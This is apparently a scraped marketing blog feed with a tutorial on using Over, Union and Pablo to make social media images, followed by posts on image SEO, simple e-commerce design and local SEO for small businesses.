After you make your image selection, you’ll see editing tools at the bottom of the screen that let you apply a filter to the photo, tweak exposure and contrast, adjust opacity, crop, and more.

If you’re using the paid version of Over, you can automatically search your phone for any PNG files you’ve saved, making it easy to include a logo or custom image file in your design. If you don’t have an image saved to your phone, you can search for images on the Google tab.

To add text to your design, tap the Text tool at the bottom of the screen and type in your text. Below the text input box, you’ll find dozens of fonts to choose from. Tap the chevron icon on the left to access the font library with additional free and paid options.

After you save your text, use the tools at the bottom of the screen to tweak the text. Experiment with some of the text functionality. For instance, try applying a shadow to dark text on a light background, or adjust the alignment or opacity to make it stand out.

If you want the text color to match one of your brand colors, select the Color tool. Then tap the color wheel icon and type in the color code you want to use. Over also offers a custom color picker that allows you to match the text color to another shade in the photo to give your graphic a consistent look that’s appealing to the eye. Play around with your color options so your photo speaks perfectly to your audience.

When you’re ready to share your photo, tap the arrow button at the top right of the screen and select an option from the pop-up menu. Over lets you save your image directly to your phone with no watermark. If you upgrade to the pro version, you can schedule a post to your social account.

Pro Tip: Over also allows you to customize videos to a degree. You can add graphic overlays like your logo or a call to action directly on top of videos. This functionality is particularly useful for creating Instagram stories.

#2: Remove Backgrounds and Combine Photos

Union (available for iOS for free, with in-app purchases available) lets you remove parts of existing images to merge them. If you’ve ever wanted to tweak a sunset, blend in a new background, or combine two images, Union is the app for you.

Use Union App to create images for social media, step 1.

After you launch the app, tap New to create a new project. In the pop-up menu, tap Background.

The background you choose will form the bottom layer of your design. Tap Photo and select an image from your camera roll. Then adjust the image dimensions if needed. Alternatively, start with a colored or blank background if you plan to create a PNG. This is a great option for removing the background noise from a logo or headshot to use on top of another image.

After you select your background, tap the menu button in the upper-left corner of the screen.

Next, tap the Foreground option and select an image. The foreground is where you’ll be tinkering and editing to create something unique. This layer exists on top of your background so select an image that will create an interesting effect.

You can drag the foreground image to reposition it on the screen, pinch to scale, and use two fingers to rotate it.

After you select the foreground image, tap the menu button again and then tap the Mask option to start making alterations to it.

You can erase parts of your photo manually with the Eraser tool, which has a variety of sizes and options to choose from. Use your finger to brush away parts of the foreground image. Pinch to zoom in for details.

To erase the background noise in one click, select the Magic Wand tool instead. Tap the area you want to remove and then drag the slider to fine-tune your edits. Use the Draw tool if you need to restore portions of the foreground image.

In the photo below, we’re erasing the white background of the apple so the image will sit cleanly on the streets of New York City.

If you’re happy with your image, you can flatten all of the layers into a single image. This allows you to add even more layers to your photo and start the process all over again.

When you’re ready to share your masterpiece with the world, tap the Export option to save the image to your camera roll, open it in Instagram, or share it.

#3: Produce Quick Graphics

Pablo by Buffer is a free web-based image tool that allows you to create graphics for your social media accounts. Its customization options are somewhat limited, but it’s perfect if you need a quick image for a tweet, Facebook post, Pinterest pin, or Instagram post. The main benefits of Pablo are its speed and ease of use.

On the left side of the screen, search through 600,000+ images from Pablo, Unsplash, and Pixabay, and then select an image to add it to your canvas. Or click the Upload Image button to upload your own file for even more customization.

Once you’ve selected the perfect background, choose an image size on the right side of the screen. Pablo offers three image size presets: Pinterest, Instagram, and Facebook/Twitter.

Pro Tip: For Facebook images, choose the Instagram photo size to maximize your space in the news feed.

Pablo’s text options aren’t as extensive as those you’ll find with Over, but they’ll do the trick for quick designs. You can choose from more than 20 fonts and adjust the size, alignment, and emphasis. Drag the text to reposition it on the image.

In the Text section on the right side of the screen, you can add a header and caption or choose one of Pablo’s many pre-written quotes.

In the Filters section, you’ll find options to apply contrast, blur, or other filters to make your text stand out on a noisy background. Play around with the filters to find an overlay that suits your image.

Another handy feature is the ability to add a logo to your image to keep your brand front and center. Note that you can only upload one image to a single graphic.

When your image looks perfect, you can share or download it directly from Pablo. Send it to your Buffer, Facebook, Twitter, Pinterest, or Instagram account, or save it locally and upload it at a later time. Remember that because Pablo is a web-based tool, you’ll lose your work if you reload the page.

Pro Tip: Use one of Pablo’s templates to get your creative juices flowing. Click Templates at the top of the screen to view templates for quotes, announcements, promotions, and outreach. Simply select a template and start editing. You’ll still have access to all of the customizations mentioned above.

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]]> Optimize Images for SEO https://blog.codemarketing.com/optimize-images-for-seo/ Thu, 25 Jul 2019 05:00:19 +0000 http://blog.codemarketing.com/?p=1280 Images are crucial to ensuring that your content is more accessible, attractive, and engaging to users, but they’re equally important in terms of SEO. First, they give search engines important contextual information. Second, optimized images speed up page loading, which increases user engagement and search engine rankings. If you reduce the size of images without …

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]]> Images are crucial to ensuring that your content is more accessible, attractive, and engaging to users, but they’re equally important in terms of SEO. First, they give search engines important contextual information. Second, optimized images speed up page loading, which increases user engagement and search engine rankings. If you reduce the size of images without compromising quality, page load times improve and, subsequently, the experience of website visitors does too. Improved user experience and interactions with your site have a positive impact on search engine rankings, which further improves customer engagement, conversions, and customer retention. Optimized images take up less storage space on your server, site backups will be completed more quickly.

Resize your images
Images with higher resolution and larger dimensions (often created with a professional camera) slow your page load times considera

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]]> What profitable e-commerce website do differently. https://blog.codemarketing.com/what-profitable-e-commerce-website-do-differently/ Thu, 04 Jul 2019 08:40:50 +0000 http://blog.codemarketing.com/?p=1230 As Steve Jobs once said – “Simple can be harder than complex.” This is a mantra that has worked for apple for decades and this design still holds true for web design and especially for e-commerce websites in particular. Simplicity in e-commerce websites often lead to higher customer retention, higher conversion rate and deliver a …

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]]> As Steve Jobs once said – “Simple can be harder than complex.” This is a mantra that has worked for apple for decades and this design still holds true for web design and especially for e-commerce websites in particular. Simplicity in e-commerce websites often lead to higher customer retention, higher conversion rate and deliver a more positive experience. A simple user experience prevents your website visitors from being overwhelmed and lead to fewer site issues.

In today’s world, we log more hours on the computers/mobile devices so it is only natural that we crave digital experiences that are intuitive visually calming and straight forward.

First Impressions on the web

As a website owner, you have only 15 sec to capture the visitor’s attention. Your website bounce rate is directly related to how cluttered it looks to the visitor. The key to having a well-designed website is that your customers have easy access to the info they need. Slow loading times are a clear indication that there is too much happening on your page and that your backend is not optimised.

Have a clear Call to Action(CTA)

All the best performing e-commerce websites have a clear Call to action. A clear Call to Action can increase conversion rates as long as they are clear and convincing. A quick and easy way to increase conversion rates is to have the CTA “above the fold” so that your users don’t have to scroll down.

Ease for customer feedback

Your company name, address and phone number should we available on all contact pages. Most companies place this either in a contact bar above the main navigation or in the website footer.

Empower your customers

A happy customer is a returning customer. As a website owner, you should provide your customers with the tools to help them identify the answers to any questions they may have. Some tools may include calculators to calculate shipping costs, charts for clothing sizes or quizzes to find out the right products for you. But you gotta keep in mind that these tools are only effective if they are simple to use. This requires a lot of work during development and thinking about user experiences.

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Local SEO for small Businesses. https://blog.codemarketing.com/local-seo-for-small-businesses/ Sun, 10 Feb 2019 03:59:24 +0000 http://blog.codemarketing.com/?p=1168 SEO is one of the leading methods for marketing businesses online. What makes SEO to stand out from other online marketing platforms is the fact that you get to choose where you want to target your market. Meaning, you can target customers globally, regionally or even in your local area. SEO can hugely influence your …

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]]>
SEO is one of the leading methods for marketing businesses online. What makes SEO to stand out from other online marketing platforms is the fact that you get to choose where you want to target your market. Meaning, you can target customers globally, regionally or even in your local area. SEO can hugely influence your marketing strategies in your local area by helping you reach out to the right customers and get noticed by these customers.

Impact of local SEO for small businesses.
- Increased local traffic.
  There is less competition from other businesses when you are marketing your small business on local bases as opposed to the region and globally. This in return helps you to get high changes of exposure to your targeted customers. If a customer is looking for products and services locally and you happen to have them, it would be easy for them to locate you when they look up on the search engines. Make sure to include all the necessary information when setting up your SEO website.
  
  Add your location and other physical details such that if a customer wants to visit your business place, they can use the provided info to get to you. Also, make sure your website is mobile enabled since most customers use their mobile phones when browsing as opposed to other devices like computers.
- Creates local brand awareness.
  Aside from focusing on creating a website that will get a rank, it is crucial that you thrive in getting a top rank. There is still competition in local areas, and as we all know, customers pay more attention to the first top ranks as they believe they will get all the content they are looking for. For example, if you are a gym instructor based in Arizona and there are other competitive gym gurus in your location, you need to make sure that your content stands out from the rest to be able to get a favorable rank.
  If a researcher searches for the best gym instructors around Arizona, and your site pops up at a 10th rank position, there will be less traffic in your website as opposed to someone who is ranked on number 4 or 3. So, focus on getting a top five position on ranking. Keep in mind that if the customers get what they are looking for from your website, then this will automatically improve your ranking and customers will search for you using your site’s name. Therefore, make sure to create an SEO website that will help you increase brand awareness in your local area.
- Improves user interactions.
  Most online customers prefer finding a reliable company that they can rely on if they need to buy something online. This means that, if your local SEO website has all the necessary products or services that will benefit your targeted audiences, this in return will help to improve the customers’ interactions.
  So this is what happens.
  When the researcher’s key in what they are looking for, for example, the best pizza restaurants in Arizona, if your restaurant’s name pops up first, the customer will want to learn more about your restaurants and what else you offer. The desire and curiosity from the customers push them to want to get more information about your business such as your location, and your contacts.
  To keep the communication flowing and ensure there is room for your customers’ interactions, ask them to leave a comment about your pizza services if they order online. Keep in mind that the kind of communication you have on our website with your customers plays a considerable role in increasing your traffic.
- Creates better conversation rates.
  SEO websites are created in a way that they will take less time to load and be accessed with the use of mobile phones. With so many smartphones which have access to the internet, most people find it easy to browse using their smartphones since they can quickly acquire the content they are searching for while on the move. With a smartphone, you can research and even order for products online and have them delivered to your location. All these benefits hugely influence and increase customer flow to your site.
- Helps to bypass competitions from other businesses.
  Even if you still encounter competition on the way, you can bypass competition from the local companies that are not optimized. Search engine optimization improves your online business by making it easy for customers to notice yours. The exposure makes it easy for the local business owner to target large customer base and with ease without having to compete with the business which uses other traditional market methods. Always keep in mind that a lot of people Rely on SEO when looking for contents online.
- Helps strengthen your relationship with your customers.
  As said earlier, a majority of online customers prefer finding one website to provide them with all they need. No one wants to spend hours online every day trying to find a different supplier or marketer. So, if your local SEO website stands out and people find what they need from your site, then rest assured this will favor you over other companies. Just make sure that you follow all the rules for creating an SEO website to ensure that you get a top rank in your local area. And boom! You will be good to go.
  Conclusion.
  SEO is one of the most reliable methods for marketing all businesses including the small ones. You need to start small to get to high ranks, and if you want to put your new business to the globe, then SEO will help you achieve your desires. If you don’t know how to create a professional SEO website, find a website development agency to help you. Continually update your site with new information to keep your customers informed all the time.
  And lastly, ensure that your website is easily accessible with the use of a smartphone. All these details will help you increase traffic by getting you a high rank on your local search engines.
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1: Preview Text Styles With One Touch via Adobe Spark

#2: Design Basic Social Media Images Quickly With Pablo

#3: Design Automatically Resizable Social Media Images With Snappa

#4: Add Simple Data Visualization Charts to Social Media Images in Canva

#1: Add a Link to Your Instagram Bio

#2: Use a Link Service to Showoff Multiple Links

#3: Share Short Links or Directions to Landing Pages in Your Instagram Post Captions

Share a Short Link

Write Crystal-Clear Directions to Live Links

#4: Add Swipe-Up Links to Your Instagram Stories

#5: Create Links in Instagram Shoppable Posts and Stories

#6: Pay to Promote Links in Instagram Posts and Stories

#7: Add Links In Instagram Direct Messages

#8: Share Links in Your IGTV Descriptions

Bonus: Use Action Buttons on Your Instagram Profile

#1: Create the Perfectly Sized Image for Every Social Network

#2: Remove Backgrounds and Combine Photos

#3: Produce Quick Graphics

First Impressions on the web

Have a clear Call to Action(CTA)

Ease for customer feedback

Empower your customers

Impact of local SEO for small businesses.